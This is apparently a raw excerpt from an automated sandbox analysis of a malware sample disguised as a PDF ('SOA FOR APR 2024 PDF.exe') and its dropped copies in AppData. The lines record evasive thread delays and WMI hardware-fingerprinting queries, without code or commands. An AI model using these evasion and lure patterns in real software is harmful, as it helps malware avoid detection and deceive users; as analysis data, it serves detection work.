Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7208	Thread sleep time: -28592453314249787s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7208	Thread sleep time: -100000s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7208	Thread sleep time: -99875s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7208	Thread sleep time: -99765s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7208	Thread sleep time: -99656s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7208	Thread sleep time: -99547s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7208	Thread sleep time: -99437s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7208	Thread sleep time: -99328s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7208	Thread sleep time: -99216s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7208	Thread sleep time: -99109s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7208	Thread sleep time: -99000s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7208	Thread sleep time: -98890s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7208	Thread sleep time: -98781s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7208	Thread sleep time: -98669s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7208	Thread sleep time: -98562s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7208	Thread sleep time: -98453s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7208	Thread sleep time: -98343s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7208	Thread sleep time: -98234s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7208	Thread sleep time: -98124s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7208	Thread sleep time: -98015s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7208	Thread sleep time: -97906s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7208	Thread sleep time: -97797s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7208	Thread sleep time: -97687s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7208	Thread sleep time: -97578s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7208	Thread sleep time: -97468s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7208	Thread sleep time: -97359s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7208	Thread sleep time: -97250s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7208	Thread sleep time: -1199922s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7208	Thread sleep time: -1199813s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7208	Thread sleep time: -1199688s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7208	Thread sleep time: -1199563s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7208	Thread sleep time: -1199438s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7208	Thread sleep time: -1199329s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7208	Thread sleep time: -1199204s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7208	Thread sleep time: -1199079s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7208	Thread sleep time: -1198954s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7208	Thread sleep time: -1198829s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7208	Thread sleep time: -1198713s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7208	Thread sleep time: -1198597s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7208	Thread sleep time: -1198467s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7208	Thread sleep time: -1198360s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7208	Thread sleep time: -1198249s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7208	Thread sleep time: -1198141s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7208	Thread sleep time: -1198016s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7208	Thread sleep time: -1197891s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7208	Thread sleep time: -1197782s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7208	Thread sleep time: -1197657s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7208	Thread sleep time: -1197532s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7208	Thread sleep time: -1197422s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7208	Thread sleep time: -1197312s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7208	Thread sleep time: -1197203s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7220	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep count: 39 > 30
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -35971150943733603s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -100000s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7060	Thread sleep count: 5115 > 30
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -99891s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7060	Thread sleep count: 4715 > 30
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -99781s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -99672s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -99563s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -99438s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -99325s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -99219s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -99094s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -98985s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -98860s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -98735s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -98610s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -98485s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -98360s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -98235s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -98110s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -97985s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -97860s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -97735s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -97610s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -97484s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -97372s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -97265s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -97156s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -96892s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -96766s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -96625s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -1199988s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -1199833s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -1199703s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -1199594s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -1199484s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -1199375s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -1199265s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -1199156s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -1199047s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -1198938s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -1198813s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -1198688s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -1198578s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -1198469s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -1198344s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -1198234s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -1198125s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -1198015s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -1197906s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -1197797s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -1197687s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -1197578s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7064	Thread sleep time: -1197469s >= -30000s

Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 99871	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 99765	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 99646	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 99515	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 99406	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 99268	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 99140	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 99031	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 98921	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 98812	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 98703	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 98593	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 98484	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 98374	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 98265	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 98133	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 98015	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 97906	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 97796	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 97687	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 97578	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 97468	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 97359	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 97249	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 97135	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 97031	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 96921	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 1199953	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 1199844	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 1199719	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 1199594	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 1199484	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 1199356	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 1199250	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 1199140	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 1199031	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 1198922	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 1198813	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 1198703	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 1198594	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 1198484	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 1198375	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 1198266	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 1198156	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 1198047	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 1197938	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 1197813	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 1197688	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 1197563	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 100000
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 99875
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 99765
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 99656
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 99547
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 99437
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 99328
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 99218
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 99109
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 99000
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 98890
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 98781
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 98672
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 98561
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 98453
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 98344
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 98219
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 98109
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 98000
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 97888
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 97781
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 97670
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 97561
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 97452
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 97343
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1200000
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1199890
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1199781
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1199659
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1199525
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1199415
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1198938
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1197107
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1196999
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1196890
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1196773
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1196671
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1196562
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1196453
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1196343
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1196234
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1196124
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1196014
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1195906
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1195793
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1195687
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1195577
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1195468
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1195359
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1195247
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1195140
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 100000
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 99875
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 99765
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 99656
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 99547
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 99437
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 99328
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 99216
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 99109
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 99000
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 98890
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 98781
